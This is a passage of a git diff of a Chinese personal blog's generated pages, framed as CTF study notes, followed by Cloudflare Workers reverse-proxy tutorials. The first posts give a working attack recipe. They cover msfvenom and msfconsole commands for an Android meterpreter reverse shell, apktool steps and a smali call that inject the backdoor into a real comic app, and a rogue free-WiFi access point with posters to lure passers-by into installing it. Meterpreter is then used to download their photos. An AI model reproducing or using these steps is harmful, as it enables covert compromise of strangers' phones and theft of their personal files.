"icon": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADQAAABABAMAAACn5UkPAAAAG1BMVEUAAABfvRlfvRlfvRlfvRlfvRlfvRlfvRlfvRlkC4P+AAAACHRSTlMA6pIhuRVbiHyD9QIAAAEFSURBVHgB7ZQ9TwMxDIbdpiDGQoWUsd069gTDjZxgYIQBifE2GJk611U//LPrJJde7JwyIKaKd7F1j2L7HDvQqVlFr3oCKTvrHGOnClW4Us5Zxs6+Gosv6/Px5BgFYauJee0Q7XTA70iIDpKMe0I0F2iZom1KrjnFh8/mTVrJO9EePh3y5l7G20MdUC0iXlmO9BACOoNvaSqpdrh0Wf5Eo/5eRhr19zK6ZdkEbeD3Gts7uNG5NrDAuWvET474d47A2ac54poRnJMj9+UfXQ4qDEBhbArD5jSAov4cFfarsJXGSpI+iY+C4bPcs5Dc907rUpGbEd9ozJCbEf8yHgcfJFacCdYJpVD+0W2qrN4AAAAASUVORK5CYII="
}
]
}

+ +

分别把软件名、软件logo、软件下载地址给修改了(其实里面本来还有iOS的,但是我们没做iOS所以就被我删了)

+

接着运行yarn标准命令生成(当然在生成前可以用yarn dev来本地查看一下)

+
1
2
yarn
yarn build
+ +

生成后的文件会在./dist文件夹(其实nodejs好像都是这个样子的),把里面的文件拿出来,顺带把我们的apk命名为标准的app-release.apk,放在同级目录下,上传到Github,并开启Github Pages功能来让我们的网页能够被公网访问,当然因为github.io的访问情况不太好,我还绑定了一个自定义域名(我就不放出来了,省的有人给我举报一下然后CloudFlare送我红色警告页面)

+

后门服务器设置

首先要安装msfvenom,安装的过程请参照CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle(kali可以不装,自带了)

+

然后我们运行sudo msfconsole,就会打开msf软件

+

此时我们直接运行相关命令即可

+
1
2
3
4
5
6
7
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set AutoLoadStdapi true
set LHOST 0.0.0.0
set LPORT 5555
set exitonsession false
exploit -j
+ +

会打开监听器,当肉鸡上线的时候会有提示就可以进行控制了

+

海报制作

这个真的没啥说的,网上一搜一大堆,也没有什么技术含量,略过

+

攻击流程

首先我们将我们的树莓派设备放在场馆内,打开create_ap,并将WIFI命名为CimocFreeWifi

+
1
sudo ./create_ap wlan1 wlan0 CimocFreeWifi
+ +

将海报粘贴到位,然后等待肉鸡上钩,看到监听服务器有提示后,使用sessions进入设备控制

+

因为软件一打开就说明了为啥要存储权限(这个是软件自带的不是我注入造成的),所以大部分用户都会授予存储权限

+

我们可以利用meterpreter的download命令来下载设备上的文件

+

这里需要对安卓设备的目录结构进行说明:设备的内部存储空间挂载在了/sdcard上,我们平时的设备照片存放在/sdcard/DCIM文件夹,官方相机会放在/sdcard/DCIM/Camera,屏幕截图在/sdcard/DCIM/Camera,如果用的是第三方的相机,例如B612,就会在/sdcard/DCIM/B612文件夹

+

所以如果我们要下载照片的话就可以在这些目录进行寻找,使用ls命令可以看到当前目录的文件,使用pwd命令可以看到当前所在的目录

+

当然也可以通过shell来获得一个安卓的shell程序(显然不如adb好用),可以用来运行shell脚本之类的东西

+

找到了我们所需要的文件,使用download命令可以将文件下载到本地,使用upload可以将本地文件上传到目标机器(上传shell脚本来维持权限啥的)

+
Author: GamerNoTitle
Link: https://bili33.top/posts/CTF-in-College-6/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/CTF-in-College-7/index.html b/posts/CTF-in-College-7/index.html new file mode 100644 index 0000000000..614f1514c4 --- /dev/null +++ b/posts/CTF-in-College-7/index.html @@ -0,0 +1,321 @@ +CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序 | GamerNoTitle + + + + + + + + + + + + + + + + + +

CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序

+

填坑回,因为之前在CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle (bili33.top)这篇文章里面说有时间就写,然后写我们CTF俱乐部学期总结的时候就顺带讲了这个,所以就填了个坑

+
+

首先要生成带有后门程序的apk文件

+
1
msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5555 R > pentestlab.apk
+ +

这里的host我实际上填的是我的公网服务器的IP地址,生成以后,如果直接安装,手机是肯定会报毒的(特别是装的国产定制ROM如MIUI、COLOROS之类的),这个时候就要把我们的后门程序注入到其他的软件里面去

+

(装上了会像右边这个图标这样,啥也没有,而且点开除了打开了后门也不会有什么反应)

+

然后我们反编译一下软件,用Linux(可能会)自带的apktool(如果没有请直走右转Github)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ java -jar apktool_2.6.1.jar d -f -o payload pentestlab.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/gamernotitle/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
+ +

+

这样后门程序就反编译完了,接下来要反编译我们需要的软件

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ java -jar apktool_2.6.1.jar d -f -o original Cimoc.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1 on Cimoc.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/gamernotitle/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
+ +

接着把payload的文件弄到我们要注入的程序目录下

+
1
2
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ cp payload/smali/com/metasploit/stage original/smali/com/metasploit/stage -r
+ +

在软件反编译后的AndroidManifest.xml文件里面,会存放着软件的权限列表、活动列表等信息,在这里可以看到最开始启动了什么活动

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="29" android:compileSdkVersionCodename="10" package="com.hiroshi.cimoc" platformBuildVersionCode="29" platformBuildVersionName="10">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:largeHeap="true" android:name="com.hiroshi.cimoc.App" android:requestLegacyExternalStorage="true" android:supportsRtl="true" android:theme="@style/AppTheme" android:usesCleartextTraffic="true">
<activity android:name="com.hiroshi.cimoc.ui.activity.MainActivity" android:screenOrientation="unspecified" android:windowSoftInputMode="adjustPan">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:name="com.hiroshi.cimoc.ui.activity.ResultActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.DetailActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.ChapterActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.TagEditorActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.TaskActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.SettingsActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.settings.ReaderConfigActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.BackupActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.AboutActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.CategoryActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.SearchActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.SourceDetailActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.PartFavoriteActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.DirPickerActivity" android:screenOrientation="unspecified"/>
<activity android:configChanges="orientation|screenSize" android:name="com.hiroshi.cimoc.ui.activity.settings.EventSettingsActivity"/>
<activity android:configChanges="orientation|screenSize" android:name="com.hiroshi.cimoc.ui.activity.PageReaderActivity"/>
<activity android:configChanges="orientation|screenSize" android:name="com.hiroshi.cimoc.ui.activity.StreamReaderActivity"/>
<service android:name="com.hiroshi.cimoc.service.DownloadService"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.BrowserFilter" android:theme="@android:style/Theme.NoDisplay">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="text/plain"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="cimoc"/>
<data android:host="m.buka.cn" android:scheme="http"/>
<data android:host="m.buka.cn" android:scheme="https"/>
<data android:host="www.dm5.com" android:scheme="http"/>
<data android:host="www.dm5.com" android:scheme="https"/>
<data android:host="tel.dm5.com" android:scheme="http"/>
<data android:host="tel.dm5.com" android:scheme="https"/>
<data android:host="manhua.dmzj.com" android:scheme="http"/>
<data android:host="manhua.dmzj.com" android:scheme="https"/>
<data android:host="m.dmzj.com" android:scheme="http"/>
<data android:host="m.dmzj.com" android:scheme="https"/>
<data android:host="m.5qmh.com" android:scheme="http"/>
<data android:host="m.5qmh.com" android:scheme="https"/>
<data android:host="m.pufei.net" android:scheme="http"/>
<data android:host="m.pufei.net" android:scheme="https"/>
<data android:host="ac.qq.com" android:scheme="http"/>
<data android:host="ac.qq.com" android:scheme="https"/>
<data android:host="m.ac.qq.com" android:scheme="http"/>
<data android:host="m.ac.qq.com" android:scheme="https"/>
<data android:host="www.u17.com" android:scheme="http"/>
<data android:host="www.u17.com" android:scheme="https"/>
<data android:host="www.migudm.cn" android:scheme="http"/>
<data android:host="www.migudm.cn" android:scheme="https"/>
<data android:host="m.migudm.cn" android:scheme="http"/>
<data android:host="m.migudm.cn" android:scheme="https"/>
<data android:host="99770.hhxxee.com" android:scheme="http"/>
<data android:host="99770.hhxxee.com" android:scheme="https"/>
<data android:host="www.cartoonmad.com" android:scheme="http"/>
<data android:host="www.cartoonmad.com" android:scheme="https"/>
<data android:host="www.2animx.com" android:scheme="http"/>
<data android:host="www.2animx.com" android:scheme="https"/>
<data android:host="www.50mh.com" android:scheme="http"/>
<data android:host="www.50mh.com" android:scheme="https"/>
<data android:host="m.50mh.com" android:scheme="http"/>
<data android:host="m.50mh.com" android:scheme="https"/>
<data android:host="www.manhuadb.com" android:scheme="http"/>
<data android:host="www.manhuadb.com" android:scheme="https"/>
<data android:host="m.bnmanhua.com" android:scheme="http"/>
<data android:host="m.bnmanhua.com" android:scheme="https"/>
<data android:host="m.tohomh123.com" android:scheme="http"/>
<data android:host="m.tohomh123.com" android:scheme="https"/>
<data android:host="www.chuixue.net" android:scheme="http"/>
<data android:host="www.chuixue.net" android:scheme="https"/>
<data android:host="m.517manhua.com" android:scheme="http"/>
<data android:host="m.517manhua.com" android:scheme="https"/>
</intent-filter>
</activity>
<provider android:authorities="com.hiroshi.cimoc" android:exported="false" android:grantUriPermissions="true" android:name="androidx.core.content.FileProvider">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths_public"/>
</provider>
<service android:directBootAware="true" android:exported="false" android:name="com.google.firebase.components.ComponentDiscoveryService">
<meta-data android:name="com.google.firebase.components:com.google.firebase.crashlytics.CrashlyticsRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.remoteconfig.RemoteConfigRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.analytics.connector.internal.AnalyticsConnectorRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.abt.component.AbtRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.iid.Registrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
</service>
<receiver android:enabled="true" android:exported="false" android:name="com.google.android.gms.measurement.AppMeasurementReceiver"/>
<receiver android:enabled="true" android:exported="true" android:name="com.google.android.gms.measurement.AppMeasurementInstallReferrerReceiver" android:permission="android.permission.INSTALL_PACKAGES">
<intent-filter>
<action android:name="com.android.vending.INSTALL_REFERRER"/>
</intent-filter>
</receiver>
<service android:enabled="true" android:exported="false" android:name="com.google.android.gms.measurement.AppMeasurementService"/>
<service android:enabled="true" android:exported="false" android:name="com.google.android.gms.measurement.AppMeasurementJobService" android:permission="android.permission.BIND_JOB_SERVICE"/>
<receiver android:exported="true" android:name="com.google.firebase.iid.FirebaseInstanceIdReceiver" android:permission="com.google.android.c2dm.permission.SEND">
<intent-filter>
<action android:name="com.google.android.c2dm.intent.RECEIVE"/>
</intent-filter>
</receiver>
<provider android:authorities="com.hiroshi.cimoc.firebaseinitprovider" android:exported="false" android:initOrder="100" android:name="com.google.firebase.provider.FirebaseInitProvider"/>
<activity android:exported="false" android:name="com.google.android.gms.common.api.GoogleApiActivity" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
<meta-data android:name="com.google.android.gms.version" android:value="@integer/google_play_services_version"/>
<service android:exported="false" android:name="com.google.android.datatransport.runtime.backends.TransportBackendDiscovery">
<meta-data android:name="backend:com.google.android.datatransport.cct.CctBackendFactory" android:value="cct"/>
</service>
<service android:exported="false" android:name="com.google.android.datatransport.runtime.scheduling.jobscheduling.JobInfoSchedulerService" android:permission="android.permission.BIND_JOB_SERVICE"/>
<receiver android:exported="false" android:name="com.google.android.datatransport.runtime.scheduling.jobscheduling.AlarmManagerSchedulerBroadcastReceiver"/>
</application>
</manifest>
+ +

其中,下面这行就告诉我们启动了一个名为com.hiroshi.cimoc.ui.activity.MainActivity的活动

+
1
<activity android:name="com.hiroshi.cimoc.ui.activity.MainActivity" android:screenOrientation="unspecified" android:windowSoftInputMode="adjustPan">
+ +

然后我们找到这个活动的代码,把我们的函数修改一下,让它调用我们的后门(这里没有加固,也会被检测出来)

+

【这个寻找的过程其实很麻烦,特别是像tx和网E这种的,超级难找】

+
1
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
+ +

找到我们的AndroidManifest.xml,在权限列表里面加入我们需要的权限,然后编译

+
1
2
3
4
5
6
7
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
+ +

(应用原来就有的权限,可以自己添加,格式可以参考Google的开发文档)

+

同样使用apktool进行编译

+
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ java -jar apktool_2.6.1.jar b ~/apk/original/
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Copying libs... (/lib)
I: Copying libs... (/kotlin)
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...
+ +

这样就编译完了,把软件放到手机上进行安装,打开后在服务器就可以看到肉鸡上线了

+
Author: GamerNoTitle
Link: https://bili33.top/posts/CTF-in-College-7/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/CloudFlare-Workers-Section1/index.html b/posts/CloudFlare-Workers-Section1/index.html new file mode 100644 index 0000000000..5258861ce8 --- /dev/null +++ b/posts/CloudFlare-Workers-Section1/index.html @@ -0,0 +1,312 @@ +Cloudflare Workers反代实战(上) | GamerNoTitle + + + + + + + + + + + + + + + +

Cloudflare Workers反代实战(上)

CloudFlare一直以其域名托管服务和CDN服务闻名于各位网站管理员,当然我的域名也是托管在这个上面的,后来,有一位被我介绍入CF的同志告诉我CF有种功能。。。(@TheBaiRuo

+

就是CF的Workers服务,这是一种能够访问网页时运行特定的JS脚本的服务,所以我们就可以利用它进行 JSPROXY Workers-Proxy(感谢@Anonymous的提醒)的搭建(某反向代理)

+

前期准备

1、一个CloudFlare账号

+

2、一个域名(可以到Freenom注册一个)

+

搭建反向代理

在这之前,你需要把你的域名托管到CF上!!!

+

然后进入CF的workers界面,看下图

+

Workers

+

进入到Workers后,点击Create a Worker来创建你的第一个JS

+

Create a Worker

+

然后在workers界面的左边,填入你的JS代码,这时候就需要万能反代代码QAQ

+

Worker Editor

+

解释一下这个界面:

+

①项目名称:表现为**[Project].[subdomain].workers.dev**,其中subdomain是你注册workers是输入的名字,project就是项目名称

+

②编辑区:就是你放下代码的地方

+

③效果预览区:当你按下运行按钮的时候展现出来的效果

+

④运行:顾名思义,运行嘛,然后在右边看得到

+

⑤保存并部署:部署该项目

+

将下面的代码放到你的编辑区中:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// 替换成你想镜像的站点
const upstream = 'example.com'

// 如果那个站点有专门的移动适配站点,否则保持和上面一致
const upstream_mobile = 'example.com'

// 你希望禁止哪些国家访问
const blocked_region = ['KP']

// 禁止自访问
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']

// 替换成你想镜像的站点
const replace_dict = {
'$upstream': '$custom_domain',
'//google.com': ''
}

//以下内容都不用动
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})

async function fetchAndApply(request) {

const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');

let response = null;
let url = new URL(request.url);
let url_host = url.host;

if (url.protocol == 'http:') {
url.protocol = 'https:'
response = Response.redirect(url.href);
return response;
}

if (await device_status(user_agent)) {
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

url.host = upstream_domain;

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);

new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.href);

let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers
})

let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;

new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');

const content_type = new_response_headers.get('content-type');
if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
} else {
original_text = original_response_clone.body
}

response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}

async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()

var i, j;
for (i in replace_dict) {
j = replace_dict[i]
if (i == '$upstream') {
i = upstream_domain
} else if (i == '$custom_domain') {
i = host_name
}

if (j == '$upstream') {
j = upstream_domain
} else if (j == '$custom_domain') {
j = host_name
}

let re = new RegExp(i, 'g')
text = text.replace(re, j);
}
return text;
}

async function device_status (user_agent_info) {
var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < agents.length; v++) {
if (user_agent_info.indexOf(agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}
+ +

然后点击运行,就可以反代你需要的网站啦,但是注意,有些网站是无法进行反代的,例如twitter之类的,而且如果原来的网站具有登陆功能,那么这些登陆功能是无法使用的!!!

+

加密版(来自旧版文章评论区@Hostloc)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
// 替换成你想镜像的站点
const upstream = 'google.com'

// 如果那个站点有专门的移动适配站点,否则保持和上面一致
const upstream_mobile = 'm.google.com'

// 密码访问

const openAuth = false
const username = 'username'
const password = 'password'

// 你希望禁止哪些国家访问
const blocked_region = ['KP']

// 禁止自访问
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']

// 替换成你想镜像的站点
const replace_dict = {
'$upstream': '$custom_domain',
'//google.com': ''
}

function unauthorized() {
return new Response('Unauthorized', {
headers: {
'WWW-Authenticate': 'Basic realm="goindex"',
'Access-Control-Allow-Origin': '*'
},
status: 401
});
}

function parseBasicAuth(auth) {
try {
return atob(auth.split(' ').pop()).split(':');
} catch (e) {
return [];
}
}

function doBasicAuth(request) {
const auth = request.headers.get('Authorization');

if (!auth || !/^Basic [A-Za-z0-9._~+/-]+=*$/i.test(auth)) {
return false;
}

const [user, pass] = parseBasicAuth(auth);
return user === username && pass === password;
}


async function fetchAndApply(request) {
if (request.method === 'OPTIONS') // allow preflight request
return new Response('', {
status: 200,
headers: {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*',
'Access-Control-Allow-Methods': 'GET, POST, PUT, HEAD, OPTIONS'
}
});

if (openAuth && !doBasicAuth(request)) {
return unauthorized();
}
const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');

let response = null;
let url = new URL(request.url);
let url_host = url.host;

if (url.protocol == 'http:') {
url.protocol = 'https:'
response = Response.redirect(url.href);
return response;
}

if (await device_status(user_agent)) {
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

url.host = upstream_domain;

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);

new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.href);

let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers
})

let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;

new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');

const content_type = new_response_headers.get('content-type');
if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
} else {
original_text = original_response_clone.body
}

response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}

addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request).catch(err => {
console.error(err);
new Response(JSON.stringify(err.stack), {
status: 500,
headers: {
'Content-Type': 'application/json'
}
});
}));
})


async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()

var i, j;
for (i in replace_dict) {
j = replace_dict[i]
if (i == '$upstream') {
i = upstream_domain
} else if (i == '$custom_domain') {
i = host_name
}

if (j == '$upstream') {
j = upstream_domain
} else if (j == '$custom_domain') {
j = host_name
}

let re = new RegExp(i, 'g')
text = text.replace(re, j);
}
return text;
}

async function device_status (user_agent_info) {
var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < agents.length; v++) {
if (user_agent_info.indexOf(agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}
+
+ +

下篇:Cloudflare Workers绑定自定义域名进行访问

+

这就是JSPROXY的反代啦,祝各位成功呀!
题外话:

+

下周要考试了,我好方,怎么办

+

我已经用此方法部署了Google镜像站、Google学术镜像站、wiki镜像站,可以在我的友链界面找到哦~

+
Author: GamerNoTitle
Link: https://bili33.top/posts/CloudFlare-Workers-Section1/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/CloudFlare-Workers/index.html b/posts/CloudFlare-Workers/index.html new file mode 100644 index 0000000000..c141eac56f --- /dev/null +++ b/posts/CloudFlare-Workers/index.html @@ -0,0 +1,313 @@ +白嫖党教你白嫖Cloudflare Workers反代~ | GamerNoTitle + + + + + + + + + + + + + + + +

白嫖党教你白嫖Cloudflare Workers反代~

注:本页面为旧版本备份,新版本请点我!

+

CloudFlare一直以其域名托管服务和CDN服务闻名于各位网站管理员,当然我的域名也是托管在这个上面的,后来,有一位被我介绍入CF的同志告诉我CF有种功能。。。(@TheBaiRuo

+

就是CF的Workers服务,这是一种能够访问网页时运行特定的JS脚本的服务,所以我们就可以利用它进行 JSPROXY Workers-Proxy(感谢@Anonymous的提醒)的搭建(某反向代理)

+

前期准备

1、一个CloudFlare账号

+

2、一个域名(可以到Freenom注册一个)

+

搭建反向代理

在这之前,你需要把你的域名托管到CF上!!!

+

然后进入CF的workers界面,看下图

+

Workers

+

进入到Workers后,点击Create a Worker来创建你的第一个JS

+

Create a Worker

+

然后在workers界面的左边,填入你的JS代码,这时候就需要万能反代代码QAQ

+

Worker Editor

+

解释一下这个界面:

+

①项目名称:表现为**[Project].[subdomain].workers.dev**,其中subdomain是你注册workers是输入的名字,project就是项目名称

+

②编辑区:就是你放下代码的地方

+

③效果预览区:当你按下运行按钮的时候展现出来的效果

+

④运行:顾名思义,运行嘛,然后在右边看得到

+

⑤保存并部署:部署该项目

+

将下面的代码放到你的编辑区中:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// 替换成你想镜像的站点
const upstream = 'example.com'

// 如果那个站点有专门的移动适配站点,否则保持和上面一致
const upstream_mobile = 'example.com'

// 你希望禁止哪些国家访问
const blocked_region = ['KP']

// 禁止自访问
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']

// 替换成你想镜像的站点
const replace_dict = {
'$upstream': '$custom_domain',
'//google.com': ''
}

//以下内容都不用动
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})

async function fetchAndApply(request) {

